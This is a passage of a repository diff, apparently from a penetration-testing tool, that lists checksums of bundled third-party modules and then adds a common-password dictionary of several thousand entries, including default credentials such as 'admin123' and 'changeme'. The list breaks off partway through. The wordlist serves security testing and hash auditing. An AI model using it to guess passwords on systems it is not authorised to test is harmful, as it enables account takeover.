+179e47739cdcb6d8f97713b4ecf2c84502ed9894d20cf941af5010a91b5275ea thirdparty/colorama/winterm.py
+4f4b2df6de9c0a8582150c59de2eb665b75548e5a57843fb6d504671ee6e4df3 thirdparty/fcrypt/fcrypt.py
+6a70ddcae455a3876a0f43b0850a19e2d9586d43f7b913dc1ffdf87e87d4bd3f thirdparty/fcrypt/__init__.py
+dbd1639f97279c76b07c03950e7eb61ed531af542a1bdbe23e83cb2181584fd9 thirdparty/identywaf/data.json
+e5c0b59577c30bb44c781d2f129580eaa003e46dcc4f307f08bc7f15e1555a2e thirdparty/identywaf/identYwaf.py
+edf23e7105539d700a1ae1bc52436e57e019b345a7d0227e4d85b6353ef535fa thirdparty/identywaf/__init__.py
+d846fdc47a11a58da9e463a948200f69265181f3dbc38148bfe4141fade10347 thirdparty/identywaf/LICENSE
+e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/__init__.py
+879d96f2460bc6c79c0db46b5813080841c7403399292ce76fe1dc0a6ed353d8 thirdparty/keepalive/__init__.py
+f517561115b0cfaa509d0d4216cd91c7de92c6a5a30f1688fdca22e4cd52b8f8 thirdparty/keepalive/keepalive.py
+e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/magic/__init__.py
+4d89a52f809c28ce1dc17bb0c00c775475b8ce01c2165942877596a6180a2fd8 thirdparty/magic/magic.py
+e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/multipart/__init__.py
+2574a2027b4a63214bad8bd71f28cac66b5748159bf16d63eb2a3e933985b0a5 thirdparty/multipart/multipartpost.py
+ef70b88cc969a3e259868f163ad822832f846196e3f7d7eccb84958c80b7f696 thirdparty/odict/__init__.py
+9a8186aeb9553407f475f59d1fab0346ceab692cf4a378c15acd411f271c8fdb thirdparty/odict/ordereddict.py
+3739db672154ad4dfa05c9ac298b0440f3f1500c6a3697c2b8ac759479426b84 thirdparty/pydes/__init__.py
+4c9d2c630064018575611179471191914299992d018efdc861a7109f3ec7de5e thirdparty/pydes/pyDes.py
+c51c91f703d3d4b3696c923cb5fec213e05e75d9215393befac7f2fa6a3904df thirdparty/six/__init__.py
+e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/socks/__init__.py
+7027e214e014eb78b7adcc1ceda5aca713a79fc4f6a0c52c9da5b3e707e6ffe9 thirdparty/socks/LICENSE
+56ae8fb03a5cf34cc5babb59f8c2c3bb20388a04f94491f6847989428ce49b82 thirdparty/socks/socks.py
+e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/termcolor/__init__.py
+b14474d467c70f5fe6cb8ed624f79d881c04fe6aeb7d406455da624fe8b3c0df thirdparty/termcolor/termcolor.py
+4db695470f664b0d7cd5e6b9f3c94c8d811c4c550f37f17ed7bdab61bc3bdefc thirdparty/wininetpton/__init__.py
+7d7ec81c788600d02d557c13f9781bb33f8a699c5a44c4df0a065348ad2ee502 thirdparty/wininetpton/win_inet_pton.py
diff --git a/data/txt/smalldict.txt b/data/txt/smalldict.txt
new file mode 100644
index 00000000000..96b0cab614a
--- /dev/null
+++ b/data/txt/smalldict.txt
@@ -0,0 +1,10180 @@
+
+!
+*
+*****
+******
+********
+**********
+*************
+------
+:
+?????
+??????
+!@#$%
+!@#$%^
+!@#$%^&
+!@#$%^&*
+$HEX
+0
+0000
+00000
+000000
+0000000
+00000000
+000000000
+0000000000
+0000007
+000001
+000007
+00001111
+0007
+00112233
+0069
+007
+007007
+007bond
+0101
+010101
+01010101
+01011980
+01012011
+010203
+01020304
+0123
+01230123
+012345
+0123456
+01234567
+0123456789
+020202
+030300
+030303
+0420
+050505
+06071992
+0660
+070707
+080808
+0815
+090909
+0911
+0987
+098765
+09876543
+0987654321
+0racl3
+!~!1
+1
+100
+1000
+100000
+1001
+100100
+1002
+100200
+1003
+1004
+1005
+1007
+1008
+1010
+101010
+10101010
+1011
+1012
+1013
+1014
+1015
+1016
+1017
+1018
+1020
+10203
+102030
+10203040
+1022
+1023
+1024
+1025
+1026
+1027
+1028
+1029
+102938
+1029384756
+1030
+10301030
+1031
+10311031
+1066
+10sne1
+1101
+110110
+1102
+1103
+1104
+111
+1111
+11111
+111111
+1111111
+11111111
+111111111
+1111111111
+111111a
+11112222
+1112
+111222
+111222333
+111222tianya
+1114
+1115
+1117
+1120
+1121
+1122
+112211
+11221122
+112233
+11223344
+1122334455
+1123
+112358
+11235813
+1123581321
+1124
+1125
+1129
+11921192
+11922960
+1200
+1201
+1204
+1205
+120676
+1207
+1208
+1209
+1210
+1211
+1212
+121212
+12121212
+1212312121
+1213
+12131213
+121313
+121314
+12131415
+1214
+12141214
+1215
+1216
+121834
+1220
+1221
+12211221
+1223
+1224
+1225
+1226
+1227
+1228
+123
+1230
+123000
+12301230
+123098
+1231
+12312
+123123
+12312312
+123123123
+1231234
+123123a
+123123q
+123123qwe
+123123xxx
+12321
+1232323q
+123321
+123321123
+123321q
+1234
+12341234
+1234321
+12344321
+12345
+123451
+1234512345
+123454321
+1234554321
+123456
+123456!
+1234560
+1234561
+123456123
+123456123456
+123456654321
+1234567
+12345671
+12345678
+12345678@
+123456781
+123456788
+123456789
+1234567890
+12345678900
+12345678901
+1234567890q
+1234567891
+12345678910
+1234567899
+123456789a
+123456789abc
+123456789asd
+123456789q
+123456789z
+12345678a
+12345678abc
+12345678q
+12345679
+1234567a
+1234567Qq
+123456987
+123456a
+123456a@
+123456aa
+123456abc
+123456as
+123456b
+123456c
+123456d
+123456j
+123456k
+123456l
+123456m
+123456q
+123456qq
+123456qwe
+123456qwerty
+123456s
+123456t
+123456z
+123456za
+123457
+12345a
+12345abc
+12345abcd
+12345q
+12345qwert
+12345qwerty
+12345t
+123465
+1234abcd
+1234asdf
+1234qwer
+1235
+123654
+123654789
+12369874
+123698745
+123789
+123789456
+123987
+123a123a
+123abc
+123admin
+123asd
+123asdf
+123go
+123hfjdk147
+123mudar
+123qazwsx
+123qwe
+123qwe123
+123qwe123qwe
+123qweasd
+123qweasdzxc
+123qwerty
+123spill
+123stella
+12413
+1245
+124578
+1269
+12axzas21a
+12qw34er
+12qwas
+12qwaszx
+1301
+1313
+131313
+13131313
+13141314
+1314520
+1314521
+1316
+13243546
+1332
+1342
+134679
+134679852
+135246
+1357
+13579
+135790
+135792468
+1357924680
+1369
+140136
+1412
+14121412
+1414
+141414
+14141414
+141421356
+142536
+142857
+1430
+143143
+14344
+1435254
+1453
+14531453
+1464688081
+147147
+147258
+14725836
+147258369
+1475
+147852
+147852369
+1478963
+14789632
+147896325
+1492
+1502
+1515
+151515
+159159
+159159159
+159357
+1596321
+159753
+15975321
+159753qq
+159951
+1616
+161616
+168168
+1701
+1701d
+170845
+1717
+171717
+17171717
+173173
+1776
+1812
+1818
+181818
+18436572
+1868
+187187
+1878200
+19031903
+19051905
+19071907
+19081908
+1911
+1919
+191919
+1928
+192837465
+1941
+1942
+1943
+1944
+1945
+1946
+1947
+1948
+1949
+1950
+1951
+1952
+1953
+1954
+1955
+1956
+1957
+1958
+1959
+1960
+1961
+1962
+1963
+1964
+19641964
+1965
+1966
+1967
+1968
+1969
+19691969
+196969
+1970
+19701970
+1971
+1972
+19721972
+1973
+19731973
+1974
+19741974
+1975
+19750407
+19751975
+1976
+19761976
+1977
+19771977
+1978
+19781978
+1979
+19791979
+1980
+19801980
+1981
+19811981
+1982
+19821982
+1983
+19831983
+1984
+19841984
+1985
+19851985
+1985329
+1986
+19861986
+1987
+19871987
+1988
+19881988
+1989
+19891989
+1990
+19901990
+1991
+19911991
+1992
+19921992
+1993
+19931993
+1994
+19941994
+1995
+199510
+19951995
+1996
+1997
+19971997
+1998
+19981998
+1999
+199999
+1a2b3c
+1a2b3c4d
+1g2w3e4r
+1million
+1p2o3i
+1password
+1q2w3e
+1q2w3e4r
+1q2w3e4r5
+1q2w3e4r5t
+1q2w3e4r5t6y
+1q2w3e4r5t6y7u
+1qa2ws3ed
+1qay2wsx
+1qaz1qaz
+1qaz2wsx
+1qaz2wsx3edc
+1qazxsw2
+1qw23e
+1qwerty
+1v7Upjw3nT
+2000
+200000
+20002000
+2001
+20012001
+2002
+20022002
+2003
+20032003
+2004
+2005
+2010
+20102010
+2012comeer
+201314
+2020
+202020
+20202020
+2112
+21122112
+2121
+212121
+21212121
+212224
+212224236
+22
+2200
+2211
+221225
+2222
+22222
+222222
+2222222
+22222222
+2222222222
+222333
+222777
+223344
+22446688
+2252
+2323
+232323
+23232323
+2345
+234567
+23456789
+23skidoo
+2424
+242424
+24242424
+2468
+24680
+246810
+24681012
+24682468
+2469
+2501
+25011990
+25132513
+2514
+2516
+25162516
+25182518
+2520
+25202520
+2522
+25222522
+25232523
+25242524
+2525
+25251325
+252525
+25252525
+25262526
+25272527
+25292529
+25302530
+25362536
+256256
+256879
+2580
+25802580
+26011985
+2626
+262626
+2727
+272727
+2828
+282828
+2871
+2879
+290966
+292929
+2971
+29rsavoy
+2bornot2b
+2cute4u
+2fast4u
+2gAVOiz1
+2kids
+2tjNZkM
+3000gt
+3006
+3010
+3030
+303030
+303677
+30624700
+3112
+311311
+3131
+313131
+313326339
+3141
+314159
+31415926
+315475
+3182
+31994
+321123
+321321
+321321321
+321654
+321654987
+32167
+3232
+323232
+3282
+332211
+333
+3333
+33333
+333333
+3333333
+33333333
+333666
+333888
+336699
+3434
+343434
+3533
+353535
+3571138
+362436
+3636
+363636
+36633663
+369
+369258147
+369369
+373737
+383838
+393939
+3bears
+3rJs1la7qE
+4040
+404040
+4055
+4121
+4128
+414141
+4200
+420000
+420247
+420420
+421uiopy258
+4242
+424242
+426hemi
+4293
+4321
+43214321
+434343
+4417
+4444
+44444
+444444
+4444444
+44444444
+445566
+4545
+454545
+456
+456123
+456321
+456456
+456456456
+456654
+4567
+456789
+456852
+464646
+46494649
+46709394
+4711
+474747
+4788
+4815162342
+484848
+485112
+4854
+494949
+49ers
+4ever
+4tugboat
+5000
+5050
+505050
+50cent
+5121
+514007
+5150
+515000
+51505150
+515151
+5201314
+520520
+5211314
+521521
+5252
+525252
+5324
+5329
+535353
+5424
+54321
+543210
+5454
+545454
+5551212
+5555
+55555
+555555
+5555555
+55555555
+5555555555
+555666
+5656
+565656
+5678
+567890
+5683
+575757
+57chevy
+585858
+589589
+5956272
+59635963
+5RGfSaLj
+606060
+616161
+6262
+626262
+6301
+635241
+636363
+6435
+646464
+6535
+654321
+6543211
+655321
+656565
+6655321
+666
+6666
+66666
+666666
+6666666
+66666666
+666777
+666999
+676767
+6820055
+686868
+6969
+696969
+69696969
+6996
+6V21wbgad
+7007
+709394
+7153
+717171
+727272
+737373
+74108520
+741852
+741852963
+747474
+753159
+753951
+7546
+757575
+7646
+7654321
+767676
+7734
+7758258
+7758521
+777
+7777
+77777
+777777
+7777777
+77777777
+7779311
+778899
+786786
+787878
+789123
+7894
+789456
+78945612
+789456123
+7894561230
+789654
+789654123
+789789
+789987
+7913
+7936
+797979
+7dwarfs
+80486
+818181
+851216
+85208520
+852456
+8657
+8675309
+868686
+8757
+87654321
+878787
+8888
+88888
+888888
+8888888
+88888888
+8989
+898989
+8avLjNwf
+90210
+909090
+90909090
+911
+911911
+9379992
+951753
+951753aa
+959595
+963852
+963852741
+969696
+9768
+985985
+987456
+987456321
+9876
+98765
+987654
+9876543
+98765432
+987654321
+9876543210
+987987
+989898
+99887766
+9999
+99999
+999999
+9999999
+99999999
+999999999
+9999999999
+a
+a102030
+a123123
+a12345
+a123456
+a1234567
+a12345678
+a123456789
+A123456a
+a1a2a3
+a1b2c3
+a1b2c3d4
+a1s2d3f4
+a56789
+a838hfiD
+aa
+aa000000
+aa112233
+aa123123
+aa123456
+Aa1234567
+aa12345678
+Aa123456789
+aaa
+aaa111
+aaa123
+aaaa
+aaaa1111
+aaaaa
+aaaaa1
+aaaaaa
+aaaaaa1
+aaaaaaa
+aaaaaaaa
+aaaaaaaaaa
+aabb1122
+aaliyah
+aardvark
+aaron
+Ab123456
+abacab
+abbott
+abby
+abc
+abc123
+Abc@123
+abc1234
+Abc@1234
+abc12345
+abc123456
+abcabc
+abcd
+abcd123
+abcd1234
+Abcd@1234
+Abcd1234
+abcde
+abcdef
+abcdefg
+abcdefg1
+abcdefg123
+abcdefgh
+abcdefghi
+abdullah
+abercrombie
+aberdeen
+abgrtyu
+abhishek
+abigail
+abm
+abnormal
+abraham
+abrakadabra
+absinthe
+absolut
+absolute
+abstract
+academia
+academic
+acapulco
+access
+access14
+accident
+accord
+ACCORD
+account
+account1
+accounting
+accurate
+ace
+achilles
+acoustic
+acropolis
+action
+activity
+acura
+adam
+adamadam
+adamko
+adams
+addict
+addicted
+addiction
+adelaida
+adelante
+adfexc
+adgangskode
+adi
+adidas
+aditya
+adm
+admin
+Admin
+admin000
+admin1
+Admin1
+admin12
+admin123
+Admin1234
+admin256
+adminadmin
+adminadmin123
+administrator
+ADMINISTRATOR
+adminpass
+adminpwd
+adobe1
+adobe123
+adrenalin
+adrenaline
+adrian
+adriana
+adrianna
+adrianne
+adults
+advance
+advocate
+aek1924
+aekara21
+aerobics
+aerospace
+affinity
+afghanistan
+africa
+afterlife
+again
+agamemnon
+aggies
+agnieszka
+agosto
+aguilas
+agustin
+ahl
+ahm
+aikman
+aikotoba
+aileen
+airborne
+aircraft
+airforce
+airlines
+airman
+airplane
+aisiteru
+ak
+akatsuki
+aki123
+akira
+akuankka
+alabama
+alabaster
+alakazam
+alan
+alanis
+alaska
+alastair
+albacore
+albatros
+albatross
+albert
+alberta
+alberto
+alberto1
+albion
+alcapone
+alcatraz
+alchemist
+alchemy
+alejandr
+alejandra
+alejandro
+alekos
+aleksandr
+aleksandra
+aleksi
+alenka
+alessandra
+alessandro
+alessia
+alessio
+alex
+alex2000
+alexa
+alexande
+alexander
+alexander1
+alexandr
+alexandra
+alexandre
+alexandria
+alexandru
+alexia
+alexis
+alexis1
+alf
+alfaro
+alfarome
+alfred
+alfredo
+algebra
+algernon
+alias
+alibaba
+alicante
+alice
+alice1
+alicia
+alisa
+alisha
+alison
+alissa
+alistair
+alive
+alkaline
+all4one
+alleycat
+allgood
+alli
+alliance
+alligator
+allison
+allison1
+allister
+allmine
+allright
+allsop
+allstar
+allstars
+allstate
+almafa
+almighty
+almond
+aloha
+alone
+alonso
+aloysius
+alpacino
+alpha
+Alpha
+alpha1
+alpha123
+alphabet
+alphonse
+alpine
+altamira
+alterego
+alternate
+altima
+altima1
+altitude
+alucard
+alvarado
+always
+alyssa
+ama
+amadeus
+amanda
+amanda1
+amaranth
+amarillo
+amateur
+amazonas
+ambassador
+amber
+amber1
+ambition
+ambrosia
+amelia
+america
+america1
+american
+americana
+amho
+AMIAMI
+amigas
+amigos
+amirul
+amistad
+amnesiac
+amorcito
+amoremio
+amores
+amormio
+amorphous
+amsterda
+amsterdam
+anabelle
+anaconda
+anakonda
+anal
+analog
+analsex
+analysis
+anamaria
+anarchy
+anastasija
+anathema
+andersen
+anderson
+andre
+andre123
+andrea
+andrea1
+andreas
+andreea
+andrei
+andreita
+andrej
+andrejka
+andrejko
+andres
+andrew
+andrew1
+andrew123
+andrey
+andris
+andromeda
+andrzej
+andy
+andyandy
+anette
+anfield
+angel
+angel1
+angel123
+angela
+angelas
+angeles
+angeleyes
+angelfish
+angelica
+angelika
+angelina
+angeline
+angelita
+angelito
+angelo
+angels
+angie
+angie1
+angus
+anhyeuem
+animal
+animals
+Animals
+animated
+anime
+aninha
+anita
+anitha
+anjelik
+ankara
+annabelle
+annalena
+annalisa
+annamaria
+anne
+anneli
+annelise
+annemarie
+annette
+annie
+annika
+anon
+anonymous
+another
+antares
+anteater
+antelope
+anthony
+anthony1
+anthony2
+antichrist
+antigone
+antihero
+antilles
+antiques
+antivirus
+antoinette
+anton
+antonia
+antonina
+antonio
+antonio1
+antonis
+anvils
+anything
+anywhere
+aobo2010
+aolsucks
+AP
+apa123
+apache
+aparker
+apc
+apelsin
+aperture
+apina123
+apocalypse
+apollo
+apollo11
+apollo13
+apple
+apple1
+apple123
+apple2
+applepie
+apples
+april
+april1
+aprilia
+aptx4869
+aq
+aqua
+aquamarine
+aquarius
+aqwa
+arachnid
+aragorn
+aramis
+arcangel
+archer
+archie
+architect
+architecture
+area51
+aremania
+argentin
+argentina
+aria
+ariadne
+ariana
+arianna
+ariel
+arigatou
+arizona
+arkansas
+arlene
+armada
+armadillo
+armagedon
+armando
+armani
+armastus
+armchair
+armitage
+army
+arnar
+arnold
+around
+arpeggio
+arrow
+arrowhead
+arsenal
+arsenal1
+arthur
+artichoke
+artist
+artistic
+artofwar
+arturas
+arturo
+arturs
+arvuti
+as123123
+as123456
+asante
+asas
+asasas
+asasasas
+ascend
+asd
+asd123
+asd12345
+asd123456
+asdasd
+asdasd123
+asdasd5
+asdasdasd
+asddsa
+asdf
+asdf123
+asdf1234
+Asdf1234
+asdf12345
+asdfasdf
+asdffdsa
+asdfg
+asdfg1
+asdfg123
+asdfg12345
+asdfgh
+asdfgh1
+asdfgh12
+asdfghj
+asdfghjk
+asdfghjkl
+asdfghjkl1
+asdfjkl
+asdf;lkj
+asdfqwer
+asdfzxcv
+asdqwe123
+asdsa
+asdzxc
+asecret
+asf
+asg
+asgard
+ashish
+ashlee
+ashleigh
+ashley
+ashley1
+ashley12
+ashraf
+ashton
+asian
+asians
+asilas
+asl
+asm
+aso
+asp
+asparagus
+aspateso19
+aspen
+aspire
+ass
+assassin
+assassins
+assfuck
+asshole
+asshole1
+assman
+assmunch
+assword
+astaroth
+asterisk
+asteroid
+astra
+astral
+astrid
+astro
+astroboy
+astronaut
+astros
+atalanta
+athena
+athens
+athletics
+athlon
+atlanta
+atlantis
+atmosphere
+atreides
+attention
+attila
+attitude
+auckland
+audia4
+auditt
+audrey
+auggie
+august
+august07
+augustine
+aurelie
+aurelius
+aurimas
+aurinko
+aurora
+austin
+austin1
+austin31
+austin316
+australi
+australia
+australian
+author
+authority
+auto
+autobahn
+autocad
+automatic
+autumn
+avalon
+avatar
+avenger
+avengers
+avenir
+aventura
+awesome
+awesome1
+awkward
+ax
+ayelet
+az
+az1943
+azazel
+aze
+azerty
+azertyui
+azertyuiop
+azsxdcfv
+aztecs
+azure
+azzer
+b123456
+b6ox2tQ
+baba
+babaroga
+babes
+babies
+baby
+baby12
+baby123
+babyblue
+babyboo
+babyboy
+babyboy1
+babycake
+babycakes
+babydoll
+babyface
+babygirl
+babygirl1
+babygurl
+babygurl1
+babyko
+babylove
+babyphat
+bacchus
+bach
+bachelor
+back
+backbone
+backfire
+background
+backlash
+backpack
+backspin
+backup
+BACKUP
+backupexec
+backward
+backyard
+bacon
+bacteria
+badass
+badboy
+badg3r5
+badger
+badgirl
+badlands
+badminton
+badoo
+baggins
+bagheera
+bahamut
+bailey
+bailey1
+baili123com
+bajs
+bajs123
+bajsbajs
+baker
+balaji
+balance
+balazs
+balder
+baldwin
+ball
+baller
+ballet
+ballin
+ballin1
+balls
+balqis
+baltazar
+baltimore
+bambam
+banaan
+banaani
+banana
+bananas
+bandicoot
+bandit
+banger
+bangladesh
+bangsat
+bangsi
+bank
+banker
+banks
+banned
+banner
+banzai
+baphomet
+bara
+baracuda
+baraka
+barbara
+barbarian
+barbershop
+barbie
+barcelon
+barcelona
+bareback
+barefoot
+barfly
+barn
+barnacle
+barnes
+barney
+barnyard
+barracuda
+barron
+barry1
+bart
+bartas
+bartek1
+bartender
+barton
+base
+baseball
+baseball1
+baseline
+basement
+baseoil
+basf
+basic
+basil
+basilisk
+basket
+basketba
+basketball
+bass
+bastard
+bastard1
+bastardo
+bastille
+batch
+bathing
+bathroom
+batista
+batman
+batman1
+batman123
+battery
+battle
+battlefield
+batuhan
+bavarian
+baxter
+baywatch
+bbbb
+bbbb1111
+bbbbb
+bbbbbb
+beach
+beaches
+beacon
+beagle
+bean
+bean21
+beaner
+beans
+bear
+bearbear
+bearcats
+bears
+bearshare
+beast
+beastie
+beasty
+beater
+beatles
+beatrice
+beatriz
+beaufort
+beautiful
+beautiful1
+beauty
+beaver
+beavis
+bebe
+bebita
+because
+becker
+beckham
+becky
+bedford
+beebop
+beech
+beefcake
+beepbeep
+beer
+beerbeer
+beerman
+beethoven
+beetle
+begga
+beginner
+behemoth
+beholder
+belekas
+belgrade
+believe
+believer
+belinda
+bell
+bella
+bella1
+bella123
+belladonna
+belle
+beloved
+bemari
+ben
+benfica
+beng
+bengals
+benito
+benjamin
+Benjamin
+benjamin1
+benni
+bennie
+benoit
+benson
+bentley
+benz
+beowulf
+berenice
+bergkamp
+berglind
+berkeley
+berlin
+berliner
+bermuda
+bernadette
+bernard
+bernardo
+bernie
+berry
+berserker
+bert
+bertha
+bertrand
+beryl
+besiktas
+bessie
+best
+bestbuy
+bestfriend
+bestfriends
+beta
+betacam
+beth
+bethany
+betito
+betrayal
+betrayed
+betsy
+better
+betty
+bettyboop
+beverley
+beyonce
+bhaby
+bhebhe
+bhf
+bianca
+biatch
+bic
+bichilora
+bicycle
+bigal
+bigass
+bigballs
+bigbear
+bigben
+bigbig
+bigblack
+bigblock
+bigbob
+bigboobs
+bigboss
+bigboy
+bigbrother
+bigbutt
+bigcat
+bigcock
+bigdaddy
+bigdick
+bigdicks
+bigdog
+bigfish
+biggi
+biggie
+biggles
+biggun
+bigguns
+bighead
+bigman
+bigmike
+bigmouth
+bigone
+bigones
+bigpimp
+bigpoppa
+bigred
+bigsexy
+bigtime
+bigtit
+bigtits
+bil
+bilbao1
+bilbo
+bill
+billabon
+billabong
+billgates
+billiard
+billings
+billions
+bills
+billy
+bim
+bimbo
+bin
+bing
+binky
+binladen
+bintang
+biochem
+biohazard
+biologia
+biology
+bionicle
+biostar
+bird
+bird33
+birdie
+birdland
+birdy
+birgit
+birgitte
+birillo
+birthday
+bis
+biscuit
+bisexual
+bishop
+bismarck
+bismilah
+bismillah
+bisounours
+bitch
+bitch1
+bitchass
+bitches
+bitchy
+biteme
+bittersweet
+bizkit
+bjarni
+bjk1903
+blabla
+black
+black1
+blackbelt
+blackbir
+blackbird
+blackdragon
+blackfire
+blackhawk
+blackheart
+blackhole
+blackice
+blackjac
+blackjack
+blackman
+blackout
+blackpool
+blacks
+blackstar
+blackstone
+blacky
+blade
+bladerunner
+blades
+blahblah
+blaine
+blanche
+blanco
+blazer
+bledsoe
+bleeding
+blessed
+blessed1
+blessing
+blinds
+Blink123
+blink182
+bliss
+blissful
+blitz
+blitzkrieg
+blizzard
+blonde
+blondes
+blondie
+blood
+bloodhound
+bloodline
+bloodlust
+bloods
+bloody
+blooming
+blossom
+blowfish
+blowjob
+blowme
+blubber
+blue
+blue123
+blue1234
+blue22
+blue32
+blue99
+blueball
+blueberry
+bluebird
+blueboy
+bluedog
+bluedragon
+blueeyes
+bluefish
+bluegill
+bluejean
+bluemoon
+bluenose
+bluesky
+bluestar
+bluewater
+bmw325
+bmwbmw
+boarding
+boat
+boater
+boating
+bob
+bobbie
+bobby
+bobo
+bobobo
+bodhisattva
+body
+boeing
+bogey
+bogus
+bohemian
+bohica
+boiler
+bollocks
+bollox
+bologna
+bomb
+bombay
+bomber
+bomberman
+bombers
+bombshell
+bonanza
+bond
+bond007
+bone
+bones
+bonita
+bonjour
+bonnie
+boob
+boobear
+boobie
+boobies
+booboo
+booboo1
+boobs
+booger
+boogie
+book
+books
+boom
+boomer
+boomer1
+boomerang
+booster
+bootie
+booty
+bootys
+booyah
+bordeaux
+bordello
+borders
+boricua
+boris
+BOSS
+boss123
+bossman
+boston
+bottle
+bou
+boubou
+bowler
+bowling
+bowman
+bowtie
+bowwow
+boxer
+boxers
+boxing
+boyboy
+boyfriend
+boys
+boyscout
+boytoy
+boyz
+bozo
+br0d3r
+br549
+bracelet
+brad
+bradley
+brady
+braindead
+brainiac
+brainstorm
+brandi
+brandnew
+brandon
+brandon1
+brandy
+brandy1
+brasil
+braske
+braves
+bravo
+brazil
+breakaway
+breakdown
+breakers
+breaking
+breakout
+breanna
+breast
+breasts
+breeze
+brenda
+brendan
+brent
+brest
+brian
+brian1
+brian123
+briana
+brianna
+brianna1
+briciola
+bricks
+bridge
+bridges
+bridgett
+bridgette
+brilliant
+brinkley
+brisbane
+bristol
+britain
+british
+britney
+brittany
+brittany1
+brittney
+broadcast
+brodie
+broken
+broker
+bronco
+broncos
+brook
+brooke
+brooklyn
+brooks
+brother
+brother1
+brotherhood
+brothers
+brown
+brown1
+brownie
+brownie1
+browning
+browns
+bruce
+bruce1
+brucelee
+bruins
+brujita
+brunette
+bruno
+brunswick
+brutus
+bryan
+bsc
+bsd
+bubba
+bubba1
+bubba123
+bubbas
+bubble
+bubblegum
+bubbles
+bubbles1
+buceta
+buchanan
+buck
+buckaroo
+buckeye
+buckeyes
+bucks
+buckshot
+buddah
+buddha
+buddy
+buddy1
+budgie
+budlight
+budman
+budweiser
+buffalo
+buffalo1
+buffet
+buffett
+buffy
+buffy1
+bugs
+bugsbunny
+bugsy
+builder
+builtin
+bukkake
+bukowski
+bulldog
+bulldogs
+bulldozer
+buller
+bullet
+bulletin
+bulletproof
+bullfrog
+bullhead
+bulls
+bullseye
+bullshit
+bummer
+bumper
+bungalow
+bunghole
+bunny
+bunny1
+burak123
+burner
+burning
+burnout
+burns
+burnside
+burton
+bushido
+business
+busted
+buster
+buster1
+butch
+butcher
+butkus
+butt
+butter
+butterball
+buttercu
+buttercup
+butterfl
+butterflies
+butterfly
+butterfly1
+butters
+butterscotch
+buttfuck
+butthead
+buttman
+buttocks
+buttons
+butts
+buzz
+byebye
+byron
+byteme
+c
+c123456
+caballero
+caballo
+cabron
+caca
+cachonda
+cachorro
+cactus
+cad
+caesar
+caffeine
+caitlin
+calabria
+calculus
+calcutta
+calderon
+caldwell
+calendar
+caliente
+californ
+california
+call
+calliope
+callisto
+callum
+calvin
+camaro
+camaross
+camay
+camber
+cambiami
+cambodia
+camden
+camel
+camels
+cameltoe
+camera
+camero
+cameron
+cameron1
+cameroon
+camila
+camilla
+camille
+camilo
+campanile
+campanita
+campbell
+camping
+campus
+canada
+canadian
+canberra
+cancan
+cancel
+cancer
+candi
+candy
+candy1
+canela
+canfield
+cannabis
+cannibal
+cannonball
+canon
+cantik
+canuck
+canucks
+capacity
+capecod
+capital
+capoeira
+caprice
+capricor
+capricorn
+captain
+car
+caramelo
+caravan
+card
+cardinal
+cardinals
+cards
+carebear
+carefree
+careless
+caren
+caribbean
+carl
+carla
+carleton
+carlito
+carlitos
+carlos
+carlos1
+carlton
+carman
+carmella
+carmen
+carmen1
+carnage
+carnaval
+carnegie
+carnival
+carol
+carolina
+caroline
+carpedie
+carpediem
+carpente
+carrera
+carrie
+carroll
+cars
+carson
+carter
+carter15
+carthage
+cartman
+cartoons
+carvalho
+casandra
+cascades
+casey
+casey1
+cash
+cashmere
+cashmoney
+casino
+Casio
+casper
+cassandr
+cassandra
+cassidy
+cassie
+caster
+castillo
+castle
+castor
+cat
+catalina
+CATALOG
+catalyst
+catapult
+catarina
+catcat
+catch22
+catdog
+caterina
+caterpillar
+catfish
+catherine
+cathleen
+catholic
+catriona
+cattle
+caught
+cavallo
+cayuga
+cc
+ccbill
+cccc
+ccccc
+cccccc
+ccccccc
+cccccccc
+ce
+cecile
+cecilia
+cecily
+cedic
+cedric
+celeb
+celebration
+celebrity
+celeron
+celeste
+celestial
+celestine
+celica
+celine
+cellphone
+cellular
+celtic
+celticfc
+celtics
+center
+centra
+central
+ceramics
+cerulean
+cervantes
+cesar
+cessna
+cg123456
+chacha
+chains
+chair
+chairman
+challeng
+challenge
+challenger
+champ
+champagne
+champion
+champions
+champs
+chan
+chance
+chandler
+chanel
+chang
+change
+changeit
+changeme
+ChangeMe
+changes
+changethis
+channel
+channels
+channing
+chantal
+chao
+chaos1
+chapman
+character
+characters
+charcoal
+charger
+chargers
+charisma
+charissa
+charlene
+charles
+charleston
+charlie
+charlie1
+charlott
+charlotte
+charly
+charmaine
+charmed
+charming
+chase
+chase1
+chaser
+chastity
+chat
+chatting
+chauncey
+chavez
+cheaters
+cheating
+cheche
+check
+checker
+checking
+checkmate
+cheddar
+cheech
+cheeks
+cheer
+cheer1
+cheerios
+cheerleader
+cheers
+cheese
+cheese1
+cheeseburger
+cheetah
+chelle
+chelsea
+chelsea1
+chem
+chemical
+cheng
+chennai
+cherokee
+cherries
+cherry
+cheryl
+cheshire
+chess
+chessie
+chessman
+chester
+chester1
+chesterfield
+chevelle
+chevrolet
+chevy
+chewie
+chewy
+cheyenne
+chiara
+chicago
+chicca
+chicco
+chichi
+chick
+chicken
+chicken1
+chickens
+chief
+children
+chill
+chillin
+chilling
+chilly
+chimaera
+chimera
+chinacat
+chinaman
+chinchin
+chinita
+chinna
+chinnu
+chip
+chipmunk
+chips
+chiquita
+chivalry
+chivas
+chivas1
+chloe
+chocha
+choclate
+chocolat
+chocolate
+chocolate!
+chocolate1
+choice
+choke
+choochoo
+chopin
+chopper
+chopper1
+choppers
+chou
+chouchou
+chouette
+chowchow
+chris
+chris1
+chris6
+chrisbrown
+chrissy
+christ
+christa
+christia
+christian
+christian1
+christin
+christina
+christine
+christma
+christmas
+christop
+christoph
+christopher
+christy
+christy1
+chrome
+chronic
+chrono
+chronos
+chrysler
+chrystal
+chuang
+chubby
+chuck
+chuckles
+chucky
+chui
+church
+ciao
+ciccio
+cigar
+cigarette
+cigars
+cimbom
+cincinnati
+cinder
+cinderella
+cindy
+cingular
+cinnamon
+cinta
+cintaku
+circus
+cirque
+citadel
+citation
+citibank
+citroen
+citrom
+city
+civic
+civil
+civilwar
+cjmasterinf
+claire
+clapton
+clarkson
+class
+classic
+classroom
+claudel
+claudia
+claudia1
+clave
+clay
+claymore
+clayton
